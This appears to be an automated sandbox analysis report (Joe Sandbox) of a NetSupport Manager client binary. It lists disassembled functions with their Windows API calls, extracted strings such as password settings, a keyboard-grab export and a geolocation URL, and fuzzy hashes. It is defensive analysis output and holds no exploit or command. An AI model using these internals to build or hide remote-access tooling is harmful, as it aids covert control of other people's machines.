Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-2062829784
Opcode ID: 027c4974fe4e47a31e6b1b92b845a70a180c4de8d1209735ca177a368e2ea53b
Instruction ID: 6553b1da6d6d14651d2a1fffef45e08f8fb4271012d2e4188a9b1e9169dedbc2
Opcode Fuzzy Hash: 027c4974fe4e47a31e6b1b92b845a70a180c4de8d1209735ca177a368e2ea53b
Instruction Fuzzy Hash: E4420778E002999FEB21CBA0CD90FEEF7766F95B08F1401D8D50967681EB727A84CB51

Function 11074A00 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 11074AE5
InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 11074AEB
InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 11074AF1
InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 11074AFA
InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 11074B00
InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 11074B06
_strncpy.LIBCMT ref: 11074B68
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,00000000), ref: 11074BCF
CreateThread.KERNEL32(00000000,00004000,11070C60,00000000,00000000,?), ref: 11074C6C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 11074C73
SetTimer.USER32(00000000,00000000,000000FA,11063680), ref: 11074CB7
std::exception::exception.LIBCMT ref: 11074D68
__CxxThrowException@8.LIBCMT ref: 11074D83

Strings

RememberPassword, xrefs: 11074B80
General, xrefs: 11074B85, 11074BB5, 11074C28
destroy_queue == NULL, xrefs: 11074B1B
Password, xrefs: 11074C23
DefaultUsername, xrefs: 11074BB0
..\ctl32\Connect.cpp, xrefs: 11074B16

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CloseCreateEnvironmentException@8ExpandHandleStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 703120326-1497550179
Opcode ID: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction ID: 2d3153b5a6430d98d64e81d2a1e668bfe4de0d121a1dff3557e595bbadcf65c6
Opcode Fuzzy Hash: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction Fuzzy Hash: 79B1A4B5A00359AFD710CF64CD84FDAF7F4BB48708F0085A9E65997281EBB0B944CB65

Function 11108D30 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 213
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas,00000009), ref: 11108E0A
CloseHandle.KERNEL32(00000000), ref: 11108E19
GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 11108E2B
LoadLibraryA.KERNEL32(?), ref: 11108E61
GetProcAddress.KERNEL32(?,GrabKM), ref: 11108E8E
GetProcAddress.KERNEL32(?,LoggedOn), ref: 11108EA6
FreeLibrary.KERNEL32(?), ref: 11108ECB

Part of subcall function 1110F2B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
Part of subcall function 1110F2B0: CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
Part of subcall function 1110F2B0: WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
Part of subcall function 1110F2B0: CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

GetStockObject.GDI32(0000000D), ref: 11108EDF
GetObjectA.GDI32(00000000,0000003C,?), ref: 11108EEF
InitializeCriticalSection.KERNEL32(0000003C), ref: 11108F0B
InitializeCriticalSection.KERNEL32(111F060C), ref: 11108F16

Part of subcall function 11107290: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
Part of subcall function 11107290: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108F59

Part of subcall function 1109E9E0: GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
Part of subcall function 1109E9E0: OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08
Part of subcall function 1109E9E0: CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FAA
CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FFF

Strings

GrabKM, xrefs: 11108E88
LPT1, xrefs: 11108DE9
LoggedOn, xrefs: 11108EA0
nsm_gina_sas, xrefs: 11108DF4
\pcigina, xrefs: 11108E40

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseHandle$Library$LoadObject$AddressCreateCriticalEventInitializeOpenProcProcessSection$CurrentDirectoryFreeSingleStockSystemThreadTokenWait_malloc_memsetwsprintf
String ID: GrabKM$LPT1$LoggedOn$\pcigina$nsm_gina_sas
API String ID: 3930710499-403456261
Opcode ID: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction ID: 229803012459fbbe5cfd3a30b02a894d1af5bad55287ed163187595495ff030c
Opcode Fuzzy Hash: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction Fuzzy Hash: DC81AFB4E0435AEFEB55DFB48C89B9AFBE9AB48308F00457DE569D7280E7309944CB11

Function 11138C30 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

PostMessageA.USER32(0002043C,000006CF,00000007,00000000), ref: 11138E0F

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetWindowTextA.USER32(0002043C,00000000), ref: 11138EB7
IsWindowVisible.USER32(0002043C), ref: 11138F7C
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11138F9C
IsWindowVisible.USER32(0002043C), ref: 11138FAA
SetForegroundWindow.USER32(00000000), ref: 11138FD8
EnableWindow.USER32(0002043C,00000001), ref: 11138FE7
IsWindowVisible.USER32(0002043C), ref: 11139038
IsWindowVisible.USER32(0002043C), ref: 11139045
EnableWindow.USER32(0002043C,00000000), ref: 11139059
EnableWindow.USER32(0002043C,00000000), ref: 11138FBF

Part of subcall function 11131210: ShowWindow.USER32(0002043C,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

EnableWindow.USER32(0002043C,00000001), ref: 1113906D

Strings

ViewedText, xrefs: 11138D3B
Client, xrefs: 11138CB1, 11138D5B, 11138D94, 11138DF2
HideWhenIdle, xrefs: 11138CAC
ConnectedText, xrefs: 11138D48, 11138D57
ShowUIOnConnect, xrefs: 11138DED
LockedText, xrefs: 11138D8F

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction ID: ae8ec3c714d324370739ddb1cab1952d607c59122f5be0bb7ac7fd02d25128b2
Opcode Fuzzy Hash: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction Fuzzy Hash: 86C12A75A1122A9BEB11DFF4CD80B6EF769ABC072DF140138EA159B28CEB75E804C751

Function 110281A0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 110281F1

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

wsprintfA.USER32 ref: 11028214
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11028259
GetExitCodeProcess.KERNEL32(?,?), ref: 1102826D
wsprintfA.USER32 ref: 11028291
CloseHandle.KERNEL32(?), ref: 110282A7
CloseHandle.KERNEL32(?), ref: 110282B0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11028311
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11028325

Strings

", xrefs: 110281EA
Setting resource langid=%d, xrefs: 110282D1
Locales\%d\, xrefs: 11028281
\GetUserLang.exe", xrefs: 1102820E
SetClientResLang called, gPlatform %x, xrefs: 110281BC
NSM.LIC, xrefs: 110281B9, 110282D0
pcicl32_res.dll, xrefs: 110282E9

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction ID: 7a246749baaa4a6e23861a3fd22e5cd13303056935123195fcb9bb693944541c
Opcode Fuzzy Hash: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction Fuzzy Hash: B841D678E04229ABD714CF65CCD5FEAB7B9EB44709F0081A5F95897280DA71AE44CBA0

Function 11085E10 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,1B492F88,02E180C8,02E180B8,?,00000000,1118276C,000000FF,?,11031942,02E180C8,00000000,?,?,?), ref: 11085E45

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 11085E6B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 11085E7F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11085E93
wsprintfA.USER32 ref: 11085F1B
wsprintfA.USER32 ref: 11085F32
wsprintfA.USER32 ref: 11085F49
CloseHandle.KERNEL32(00000000,11085C70,00000001,00000000), ref: 1108609A

Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02E180C8,00000000,?,?,?), ref: 11085A98
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02E180C8,00000000,?,?,?), ref: 11085AAB
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02E180C8,00000000,?,?,?), ref: 11085ABE
Part of subcall function 11085A80: FreeLibrary.KERNEL32(00000000,74DEF550,?,?,110860C0,?,11031942,02E180C8,00000000,?,?,?), ref: 11085AD1

Strings

%s_HF.%s, xrefs: 11085F43
Cancel, xrefs: 11085E79
%s_SW.%s, xrefs: 11085F2C
PCIINV.DLL, xrefs: 11085E40
GetInventoryEx, xrefs: 11085E87
GetInventory, xrefs: 11085E65
%s_HW.%s, xrefs: 11085F12

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction ID: c264ff3baa83c9e34b1ea5f373b83d9ca187d225ad452563e08076ac2ec7b834
Opcode Fuzzy Hash: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction Fuzzy Hash: 40718175E0874AABEB14CF75CC46BDBFBE4AB48304F10452AE956D7280EB71A500CB95

Function 110304B8 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 190synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,00000000,PCIMutex), ref: 110305F3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex), ref: 1103060A
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 110306AC
SetLastError.KERNEL32(00000078), ref: 110306C2
WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Strings

SetProcessDPIAware, xrefs: 110306A6
/247, xrefs: 11030616
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1103052A
_debug\trace, xrefs: 11030544
_debug\tracefile, xrefs: 11030556
istaUI, xrefs: 1103050D
PCIMutex, xrefs: 110305E3, 11030603

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction ID: 4511418fabb8e143c6e2e60e2068ec6a59f08b67eb8208c825473cc9362a61df
Opcode Fuzzy Hash: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction Fuzzy Hash: 72613774E1635AAFEB10DFB09C44B9EB7B4AF8470DF1000A9D919A71C5EF70AA44CB51

Function 1102C410 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C455
GetTickCount.KERNEL32 ref: 1102C47A

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

GetTickCount.KERNEL32 ref: 1102C574

Part of subcall function 110D1370: wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C66C
CloseHandle.KERNEL32(?), ref: 1102C688

Strings

http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102C495
LatLong, xrefs: 1102C438, 1102C525
IsA(), xrefs: 1102C6BE, 1102C6D2, 1102C6E6, 1102C6FA
_debug, xrefs: 1102C4C8, 1102C52A
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102C6B9, 1102C6CD, 1102C6E1, 1102C6F5
GetLatLong=%s, took %d ms, xrefs: 1102C591
GeoIP, xrefs: 1102C4C3
?IP=%s, xrefs: 1102C506

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction ID: 59613557395ae23f7967247d4baf4cae7550bfc3229e85cd4bc92fe2e2f2b4a8
Opcode Fuzzy Hash: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction Fuzzy Hash: 6B818275E0020AABDF04DBE8CD94FEEF7B5AF59708F504258E82567284DB34BA05CB61

Function 11061700 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1106175A

Part of subcall function 11061140: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
Part of subcall function 11061140: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 110617AB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11061865
RegCloseKey.ADVAPI32(?), ref: 11061881

Strings

Software\Policies\NetSupport\Client\Standard, xrefs: 1106176D
DisableUserPolicies, xrefs: 11061893
Client.%04d.%s, xrefs: 110617E7
Standard, xrefs: 110617C6
Software\Policies\NetSupport, xrefs: 110617FF
%s\%s\%s\, xrefs: 11061804
Software\Policies\NetSupport\Client, xrefs: 11061754
Client, xrefs: 11061768, 11061898
Client, xrefs: 110617FA

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
